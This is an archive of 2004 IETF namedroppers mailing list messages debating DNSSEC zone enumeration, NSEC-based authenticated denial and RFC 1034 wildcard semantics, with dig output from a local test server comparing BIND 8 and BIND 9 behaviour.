nameservers Date: Mon, 06 Sep 2004 10:35:22 +0100 Lines: 62 Sender: owner-namedroppers@ops.ietf.org References: <20040728190530.GA22758@atoom.net> <ch44lt$1ro$1@sf1.isc.org> <g31xhkeg6k.fsf@sa.vix.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 06 11:53:50 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Paul Vixie <vixie@vix.com> In-Reply-To: <g31xhkeg6k.fsf@sa.vix.com> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Paul Vixie wrote: > "Olaf M. Kolkman" <olaf@ripe.net> writes: >>I want to close this thread by giving every participant the >>opportunity to state their concluding argument in not more than 20 >>lines of text. >>... >>I am trying to get something sensible out of this that will allow us to >>go forward or, if needed, conclude, in a decent fashion. > > > 1: my observations are: > 2: > 3: - non-registry (SLD, et al) zone administrators are already > 4: hiding their sensitive DNS data, if any, behind split views > 5: > 6: - registry (mostly TLD) zone administrators have a competitive > 7: interest in name secrecy not shared by registrars/registrants I don't believe "competitive" is a correct characterisitaion for all registries, though it may be for some, and I'm not sure I agree that registrants do not share this interest, either. Certainly registrants register domains in order that a particular audience can see those domains, but that does not mean that all registrants want their domains to be visible to absolutely everyone. For example, I have just registered a domain in order to get email - if I want to receive email from you, then I'll tell you what it is. If I don't, I won't. Having it published doesn't help me achieve that. > 9: - load increases due to more difficult enumeration will be felt > 10: by enumeration victims and third parties, not just attackers > 11: > 12: my recommendations are: > 13: > 14: + ensure that NSEC is capable of covering a single name, so that > 15: a zone can use precomputed positive signatures and on-the-fly > 16: negative signatures, and let motivated/interested zone > 17: administrators add name secrecy by provisioning extra hardware. > 18: > 19: + consider other, more compact encodings for nonexistence-proof, > 20: which are easier to generate on-the-fly than single-name NSEC. Why are you only interested in on-the-fly proofs? If its to avoid (major) changes to the protocol, then there's at least one problem with this type of solution, which is that outsourced DNS servers would have to have a signing key capable of signing anything. Cheers, Ben. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Re: dictionary attack on nameservers Date: Mon, 6 Sep 2004 12:10:40 +0200 Organization: RIPE NCC Lines: 15 Sender: owner-namedroppers@ops.ietf.org References: <20040728190530.GA22758@atoom.net> <ch44lt$1ro$1@sf1.isc.org> <g31xhkeg6k.fsf@sa.vix.com> <413C2F5A.1040104@algroup.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Mon Sep 06 12:19:41 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: <413C2F5A.1040104@algroup.co.uk> X-Mailer: Sylpheed version 0.9.11 (GTK+ 1.2.10; i686-pc-linux-gnu) X-RIPE-Spam-Level: X-RIPE-Spam-Status: N 0.000000 / 0.0 / 0.0 / disabled X-RIPE-Signature: ec1a51c56f84781edc8487b991bbf713 Precedence: bulk I would like to conclude this thread. Please send your (about) 20 lines closing argument and try to refrain from discussing other persons summaries. -- Olaf -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: more wild cards Date: Mon, 06 Sep 2004 14:42:04 +0100 Lines: 32 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Kevin Darcy <kcd@daimlerchrysler.com>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 06 16:00:20 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Robert Elz <kre@munnari.OZ.AU> In-Reply-To: <18901.1094415765@munnari.OZ.AU> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Robert Elz wrote: > ps: I know I said I was going to remain silent - but it has been a couple > of days now, and while we've had those couple of comments that I have now > just replied to, we still haven't had any opinions on what (if anything) > anyone really wants to change about '*' labels and where they're permitted. > My opinion remains that no changes are needed - just *much* better > explanations (or at least, ones that don't require painstaking analysis of > the details of the algorithm - what's there now is actually reasonably precise, > but it takes very careful reading to extract it). I'm not sure I understand it clearly enough to be sure whether it needs changes - perhaps that would be better done once it has been explained? What I want to know is: what does DNSSEC have to demonstrate to be sure it has proved there's no wildcard match? Given the apparent lack of clarity, can we be sure we know it does that currently? Cheers, Ben. -- http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Danny Mayer <mayer@gis.net> Subject: Re: dictionary attack on nameservers Date: Mon, 06 Sep 2004 13:16:34 -0400 Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <g31xhkeg6k.fsf@sa.vix.com> <20040728190530.GA22758@atoom.net> <ch44lt$1ro$1@sf1.isc.org> <g31xhkeg6k.fsf@sa.vix.com> <413C2F5A.1040104@algroup.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Mon Sep 06 19:28:19 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: mayer@pop.gis.net X-Mailer: QUALCOMM Windows Eudora Version 4.3.1 To: Ben Laurie <ben@algroup.co.uk>,Paul Vixie <vixie@vix.com> In-Reply-To: <413C2F5A.1040104@algroup.co.uk> References: <g31xhkeg6k.fsf@sa.vix.com> <20040728190530.GA22758@atoom.net> <ch44lt$1ro$1@sf1.isc.org> <g31xhkeg6k.fsf@sa.vix.com> X-Rcpt-To: <namedroppers@ops.ietf.org> Precedence: bulk At 05:35 AM 9/6/2004, Ben Laurie wrote: >I don't believe "competitive" is a correct characterisitaion for all >registries, though it may be for some, and I'm not sure I agree that >registrants do not share this interest, either. Certainly registrants >register domains in order that a particular audience can see those >domains, but that does not mean that all registrants want their domains to >be visible to absolutely everyone. I'm curious. Why would they register a domain if they didn't want everyone to know about it? After all registering a domain means publish, make it public and provide a means to get there. There are other ways to provide directions to a site without registering it. >For example, I have just registered a domain in order to get email - if I >want to receive email from you, then I'll tell you what it is. If I don't, >I won't. Having it published doesn't help me achieve that. So don't register the domain. You can always just provide an IP address. Mail servers only use the domain name to find out where to deliver the mail. Danny -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: dictionary attack on nameservers Date: Mon, 06 Sep 2004 18:44:02 +0100 Lines: 22 Sender: owner-namedroppers@ops.ietf.org References: <g31xhkeg6k.fsf@sa.vix.com> <20040728190530.GA22758@atoom.net> <ch44lt$1ro$1@sf1.isc.org> <g31xhkeg6k.fsf@sa.vix.com> <4.3.1.2.20040906131149.051714d8@pop.gis.net> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Mon Sep 06 19:53:22 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Danny Mayer <mayer@gis.net>, Ben Laurie <ben@algroup.co.uk>, Paul Vixie <vixie@vix.com> In-Reply-To: <4.3.1.2.20040906131149.051714d8@pop.gis.net> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 06 September 2004 13:16 -0400 Danny Mayer <mayer@gis.net> wrote: > I'm curious. Why would they register a domain if they didn't want > everyone to know about it? I have to agree with Olaf's comment that this discussion is becoming circular - this in particular has been covered at great length (from both directions) before. Whilst I'm always happy to discuss Nominet's policies etc. Olaf has made the point this is not / no longer the place to discuss the rationale behind it. Can I suggest we either take this off-list, or go dig up things from the archive, and provide closing statements/arguments as requested? Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Paul Vixie <paul@vix.com> Subject: Re: dictionary attack on nameservers Date: Mon, 06 Sep 2004 21:37:34 +0000 Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <ben@algroup.co.uk> X-From: owner-namedroppers@ops.ietf.org Mon Sep 06 23:51:45 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: Message from Ben Laurie <ben@algroup.co.uk> of "Mon, 06 Sep 2004 10:35:22 +0100." <413C2F5A.1040104@algroup.co.uk> X-Mailer: MH-E 7.4; nmh 1.0.4; GNU Emacs 21.3.1 Precedence: bulk olaf said: > > > I want to close this thread by giving every participant the > > > opportunity to state their concluding argument in not more than 20 > > > lines of text. i said: > > 1: my observations are: > > ... > > 12: my recommendations are: > > ... > > 20: ... someone else said: > [whatever] but i'm not debating these topics. olaf asked me to state my concluding argument in 20 lines or less, which i've done. anyone who has a different view, whether outright opposed to what i said or completely independent, ought to give olaf 20 lines (or fewer) of text. as tempting as it is to stand my ground and fight for what i believe in, that time, for nsec++, is over. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Daniel Roesen <dr@cluenet.de> Subject: Re: wild cards Date: Tue, 7 Sep 2004 01:40:10 +0200 Lines: 29 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd5b9bc9d506@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Tue Sep 07 01:48:43 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Mail-Followup-To: namedroppers@ops.ietf.org Content-Disposition: inline In-Reply-To: <a06020407bd5b9bc9d506@[192.168.1.100]> User-Agent: Mutt/1.4.1i Precedence: bulk On Wed, Sep 01, 2004 at 11:56:47AM -0400, Edward Lewis wrote: > >Issue (4b): Whether or not "*" can be in the middle of a name. There > >was no discussion in the room on this one. The basic issue is that > >the draft goes to great length to talk about how this is handled. > >Later on, someone noticed that 1034 discourages this. It seems like BIND did change behaviour server-side when loading zones containing such wildcard constructs between 8 and 9. The SourceForge people got bitten by that: http://sourceforge.net/docman/display_doc.php?group_id=1&docid=2352 <cite> As of 2004-04-28 the CVS services will no longer function with the hostname of cvs.PROJECTNAME.sourceforge.net. You should change your CVS commands to use the host cvs.sourceforge.net [...]. This issue came about as a result of upgrading from BIND 8 to BIND 9 which doesn't allow for a wildcard in the middle of a hostname. </cite> Best regards, Daniel -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: wild cards Date: Tue, 07 Sep 2004 10:44:51 +1000 Lines: 165 Sender: owner-namedroppers@ops.ietf.org References: <20040906234010.GA12560@srv01.cluenet.de> X-From: owner-namedroppers@ops.ietf.org Tue Sep 07 02:54:57 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Mail-Followup-To: namedroppers@ops.ietf.org In-reply-to: Your message of "Tue, 07 Sep 2004 01:40:10 +0200." <20040906234010.GA12560@srv01.cluenet.de> Precedence: bulk > On Wed, Sep 01, 2004 at 11:56:47AM -0400, Edward Lewis wrote: > > >Issue (4b): Whether or not "*" can be in the middle of a name. There > > >was no discussion in the room on this one. The basic issue is that > > >the draft goes to great length to talk about how this is handled. > > >Later on, someone noticed that 1034 discourages this. > > It seems like BIND did change behaviour server-side when loading zones > containing such wildcard constructs between 8 and 9. The SourceForge > people got bitten by that: > > http://sourceforge.net/docman/display_doc.php?group_id=1&docid=2352 > > <cite> > As of 2004-04-28 the CVS services will no longer function with the > hostname of cvs.PROJECTNAME.sourceforge.net. You should change your CVS > commands to use the host cvs.sourceforge.net [...]. This issue came > about as a result of upgrading from BIND 8 to BIND 9 which doesn't > allow for a wildcard in the middle of a hostname. > </cite> > > > Best regards, > Daniel > > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> Strange as there has never been a test for this in the BIND 9. Stranger still as they work as you would expect them to work. NODATA responses for cvs.PROJECTNAME.sourceforge.net.example. It really sounds like they had a hacked version of BIND 8. Mark drugs# dig cvs.\*.sourceforge.net.example ; <<>> DiG 8.3 <<>> cvs.*.sourceforge.net.example ;; res options: init recurs defnam dnsrch ;; got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 38945 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2 ;; QUERY SECTION: ;; cvs.*.sourceforge.net.example, type = A, class = IN ;; ANSWER SECTION: cvs.*.sourceforge.net.example. 10S IN A 1.2.3.4 ;; AUTHORITY SECTION: example. 5M IN NS drugs.dv.isc.org. ;; ADDITIONAL SECTION: drugs.dv.isc.org. 1D IN A 192.168.191.236 drugs.dv.isc.org. 1D IN AAAA 2001:470:1f00:820:208:74ff:fe9f:eeae ;; Total query time: 1 msec ;; FROM: drugs.dv.isc.org to SERVER: 127.0.0.1 ;; WHEN: Tue Sep 7 10:23:15 2004 ;; MSG SIZE sent: 47 rcvd: 137 drugs# dig version.bind txt chaos +norec ; <<>> DiG 8.3 <<>> version.bind txt chaos +norec ;; res options: init defnam dnsrch ;; got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33747 ;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0 ;; QUERY SECTION: ;; version.bind, type = TXT, class = CHAOS ;; ANSWER SECTION: version.bind. 0S CHAOS TXT "9.3.0rc4" ;; AUTHORITY SECTION: version.bind. 0S CHAOS NS version.bind. ;; Total query time: 1 msec ;; FROM: drugs.dv.isc.org to SERVER: 127.0.0.1 ;; WHEN: Tue Sep 7 10:23:54 2004 ;; MSG SIZE sent: 30 rcvd: 65 drugs# Restarting w/ BIND 9.2 drugs# dig cvs.\*.sourceforge.net.example ; <<>> DiG 8.3 <<>> cvs.*.sourceforge.net.example ;; res options: init recurs defnam dnsrch Sep 07 10:29:50.502 client 127.0.0.1#2194: query: cvs.*.sourceforge.net.example IN A ;; got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 61113 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0 ;; QUERY SECTION: ;; cvs.*.sourceforge.net.example, type = A, class = IN ;; ANSWER SECTION: cvs.*.sourceforge.net.example. 10S IN A 1.2.3.4 ;; AUTHORITY SECTION: example. 5M IN NS drugs.dv.isc.org. ;; Total query time: 0 msec ;; FROM: drugs.dv.isc.org to SERVER: 127.0.0.1 ;; WHEN: Tue Sep 7 10:29:50 2004 ;; MSG SIZE sent: 47 rcvd: 93 drugs# dig version.bind txt chaos +norec ; <<>> DiG 8.3 <<>> version.bind txt chaos +norec ;; res options: init defnam dnsrch Sep 07 10:29:59.795 client 127.0.0.1#2903: query: version.bind CH TXT ;; got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 25799 ;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUERY SECTION: ;; version.bind, type = TXT, class = CHAOS ;; ANSWER SECTION: version.bind. 0S CHAOS TXT "9.2.4rc8" ;; Total query time: 0 msec ;; FROM: drugs.dv.isc.org to SERVER: 127.0.0.1 ;; WHEN: Tue Sep 7 10:29:59 2004 ;; MSG SIZE sent: 30 rcvd: 51 drugs# dig cvs.PROJECTNAME.sourceforge.net.example ; <<>> DiG 8.3 <<>> cvs.PROJECTNAME.sourceforge.net.example ;; res options: init recurs defnam dnsrch Sep 07 10:34:00.453 client 127.0.0.1#3451: query: cvs.PROJECTNAME.sourceforge.net.example IN A ;; got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44941 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0 ;; QUERY SECTION: ;; cvs.PROJECTNAME.sourceforge.net.example, type = A, class = IN ;; AUTHORITY SECTION: example. 1m30s IN SOA localhost.dv.isc.org. marka.isc.org. ( 3721 ; serial 20M ; refresh 10M ; retry 4d4h ; expiry 1m30s ) ; minimum ;; Total query time: 1 msec ;; FROM: drugs.dv.isc.org to SERVER: 127.0.0.1 ;; WHEN: Tue Sep 7 10:34:00 2004 ;; MSG SIZE sent: 57 rcvd: 119 drugs# -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: wild cards Date: Tue, 07 Sep 2004 11:13:42 +1000 Lines: 52 Sender: owner-namedroppers@ops.ietf.org References: <200409070044.i870ipf3084042@drugs.dv.isc.org> X-From: owner-namedroppers@ops.ietf.org Tue Sep 07 03:19:10 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Mail-Followup-To: namedroppers@ops.ietf.org In-reply-to: Your message of "Tue, 07 Sep 2004 10:44:51 +1000." <200409070044.i870ipf3084042@drugs.dv.isc.org> Precedence: bulk > > > On Wed, Sep 01, 2004 at 11:56:47AM -0400, Edward Lewis wrote: > > > >Issue (4b): Whether or not "*" can be in the middle of a name. There > > > >was no discussion in the room on this one. The basic issue is that > > > >the draft goes to great length to talk about how this is handled. > > > >Later on, someone noticed that 1034 discourages this. > > > > It seems like BIND did change behaviour server-side when loading zones > > containing such wildcard constructs between 8 and 9. The SourceForge > > people got bitten by that: > > > > http://sourceforge.net/docman/display_doc.php?group_id=1&docid=2352 > > > > <cite> > > As of 2004-04-28 the CVS services will no longer function with the > > hostname of cvs.PROJECTNAME.sourceforge.net. You should change your CVS > > commands to use the host cvs.sourceforge.net [...]. This issue came > > about as a result of upgrading from BIND 8 to BIND 9 which doesn't > > allow for a wildcard in the middle of a hostname. > > </cite> > > > > > > Best regards, > > Daniel > > > > -- > > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > > the word 'unsubscribe' in a single line as the message text body. > > archive: <http://ops.ietf.org/lists/namedroppers/> > > Strange as there has never been a test for this in the BIND 9. > Stranger still as they work as you would expect them to work. > NODATA responses for cvs.PROJECTNAME.sourceforge.net.example. > > It really sounds like they had a hacked version of BIND 8. Or on further investigation old BIND 8 versions may have matched a single label to the "*". nlookup() has assumptions that are not met when there is names below the wildcard. > Mark -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: dictionary attack on nameservers Date: Tue, 07 Sep 2004 14:42:03 +0100 Lines: 51 Sender: owner-namedroppers@ops.ietf.org References: <20040728190530.GA22758@atoom.net> <20040901111452.7276c683.olaf@ripe.net> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Tue Sep 07 15:57:41 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: "Olaf M. Kolkman" <olaf@ripe.net>, namedroppers@ops.ietf.org In-Reply-To: <20040901111452.7276c683.olaf@ripe.net> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 01 September 2004 11:14 +0200 "Olaf M. Kolkman" <olaf@ripe.net> wrote: > I want to close this thread by giving every participant the > opportunity to state their concluding argument in not more than 20 > lines of text. [ This is a response from me personally and not from Nominet/Geoff/Ben; apologies for it being 21 lines ] ===== Defense against Zone Enumeration is desirable for reasons including: 1. Principle of least surprise - Current DNS implementations allow it 2. Many users require it, e.g: certain registries who for honestly held policy reasons (expounded at length, but outside IETF's remit to debate); enterprise uses where split DNS is not feasible (e.g. web services). 3. For both, there is a qualitative difference between publishing a node & associated RRs, and publishing an index of all nodes. For the former, and possibly the latter, discovery of a significant number of RR's is less undesirable than discovery of a complete or near complete zone. 4. Those registries that publish data normally do so under specific Ts&Cs, and would chose mechanisms more efficient than DNSSEC enumeration. 5. The argument that the data is freely available "anyway", through (for-instance) dictionary attacks, web-server logs etc. has not been supported by empirical evidence; what empirical evidence has been put forward suggests that not all zones are significantly susceptible to dictionary attack, and those that are, are far from wholly susceptible. I recommend that there should be an optional server side alternative mechanism for authenticated denial that does not expose an index to the zone contents, but retains protection against replay attack, and without online signing of denials (impractical, computationally expensive, DoS vector). This should be based upon NSEC, and making as few changes as possible. ===== Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: more wild cards Date: Tue, 7 Sep 2004 14:11:54 -0400 Lines: 46 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Robert Elz <kre@munnari.OZ.AU>, Kevin Darcy <kcd@daimlerchrysler.com>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Tue Sep 07 20:29:59 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <413C692C.1060702@algroup.co.uk> To: Ben Laurie <ben@algroup.co.uk> Precedence: bulk At 14:42 +0100 9/6/04, Ben Laurie wrote: >What I want to know is: what does DNSSEC have to demonstrate to be sure it has >proved there's no wildcard match? Given the apparent lack of >clarity, can we be >sure we know it does that currently? To be clear, this question is getting ahead of the draft, OTOH it is the question that spurred the writing of the draft. If there is no RRSET matching (QNAME, QCLASS, QTYPE), DNSSEC has to provide a means for the recipient to validate the received message. I need to tie the query to the lack of data. If I were able to sign a tailored message - including the original query plus the empty data return (or name error) - then all that is needed is to do that. The recipient would see the signed denial, get the key to validate it, and we are more or less done. Signing a tailored response requires on-line signing. (I assume we all have a good idea of the issues that entails.) The NSEC approach uses precomputed statements (I assume we all know that). Combining the NSEC statements with 4.3.2, we need to supply one NSEC statement per "failure" to match in 4.3.2. In the case of a name error, one error is the failure to find an exact match, a second error is the failure to find the '*'. That's what's needed...you'll note that there's the first level requirement - being able to answer with a negative signed answer - and then the second level requirement which is dependent on the design branch. (I.e., an NSEC needed for the name and one for the wild card - if we do NSEC.) -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Roy Badami <roy@gnomon.org.uk> Subject: Re: dictionary attack on nameservers Date: Tue, 7 Sep 2004 22:57:30 +0100 Lines: 37 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 00:06:41 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org X-Mailer: VM 7.18 under Emacs 21.3.1 X-Delivery-Agent: TMDA/1.0.2 (Bold Forbes) X-Primary-Address: roy@gnomon.org.uk Received-SPF: pass (spike.gnomon.org.uk: 81.100.86.162 is authenticated by a trusted mechanism) X-Virus-Scanned: clamd / ClamAV version 0.73, clamav-milter version 0.73a on spike.gnomon.org.uk X-Virus-Status: Clean Precedence: bulk I hadn't been intending to respond to the chairs' call for 20-line summaries, since I regard myself as an intersted bystander rather than an active WG member... However Olaf contacted me privately requesting I do so, so here goes... -------- I regard it as highly desirably to reach some sort of consensus that includes those ccTLDs that have concerns about enumeration, and realistically I think that means addressing their requirements, rather than convincing them to change their requirements. I'm pleased that the co-chairs seem to concur that this is worth persuing... I don't have any strong feelings as to the shape that the technical solution should take though I note that Bloom filters have been completely neglected in recent discussions, and I think they may still be of possible value -- see for example Steve Bellovin's ID http://www.research.att.com/~smb/papers/draft-bellovin-dnsext-bloomfilt-00.txt I would argue that authenticated denial is important in a TLD, and that provably-insecure delegations are vital, as without them the level of security offered to customers of that TLD is diminished. I note also that if some TLDs choose not to offer these security guarantees, then there will be no incentive for their customers to migrate away from transitional mechanisms such as Paul Vixie's DLV (which does offer those guarantees, at least to participating resolvers). -roy -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Kevin Darcy <kcd@daimlerchrysler.com> Subject: Re: more wild cards Date: Wed, 08 Sep 2004 00:28:49 -0400 Lines: 78 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Wed Sep 08 06:42:15 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.4) Gecko/20030701 X-Accept-Language: en-us, en To: namedroppers@ops.ietf.org In-Reply-To: <18901.1094415765@munnari.OZ.AU> Precedence: bulk Robert Elz wrote: > Date: Fri, 03 Sep 2004 21:56:23 -0400 > From: Kevin Darcy <kcd@daimlerchrysler.com> > Message-ID: <413920C7.3000809@daimlerchrysler.com> > > | I think one major bit of "looseness" that needs to be addressed here is > | that RFC 1034's Section 4.3.3 restricts the term "wildcard" to names > | _beginning_ with an asterisk label, whereas the lookup algorithm of > | Section 4.3.2 talks about "matching down, label by label", when to look > | for an asterisk label, and what to do if one is found, without any > | limitations on whether the asterisk label is the first one in an owner > | name or not. > >Actually, this isn't as different as it appears to be. Remember that if the >name a.b.c.d exists, then so do the names b.c.d.e c.d.e d.e and e. > >If any of a b c d or e is '*' then there is a name that begins with '*'. > >However, 4.3.3 talks of RR's owned by '*' - which is what is important >for wildcards, and why names like a.*[.anything] in a zone are useless >(ignoring the case where someone is doing a lookup for a qname containing >a '*' label where those a.* names work just like any other name). > >If a.* is present in the zone then the '*' label (by virtue of this RR >anyway) has no RR's attached to it - it is what we have come to call an >empty non-terminal. The lookup algorithm finds the '*', matches its RR's >(of which there are none) against the QTYPE, must fail to find anything, >terminates the search, and returns an empty answer. For all practical >purposes, that's exactly the same as returning a "no such name" error, >whatever we wanted to do that caused the name lookup to be done is going >to fail, as the data we wanted isn't there. > I was considering the difference between an NXDOMAIN and a NODATA response to be a significant one. Admittedly, there isn't much difference from the perspective of a garden-variety app calling gethostbyname(), or whatever, but I was under the (possibly mistaken) impression that this difference mattered from a DNSSEC 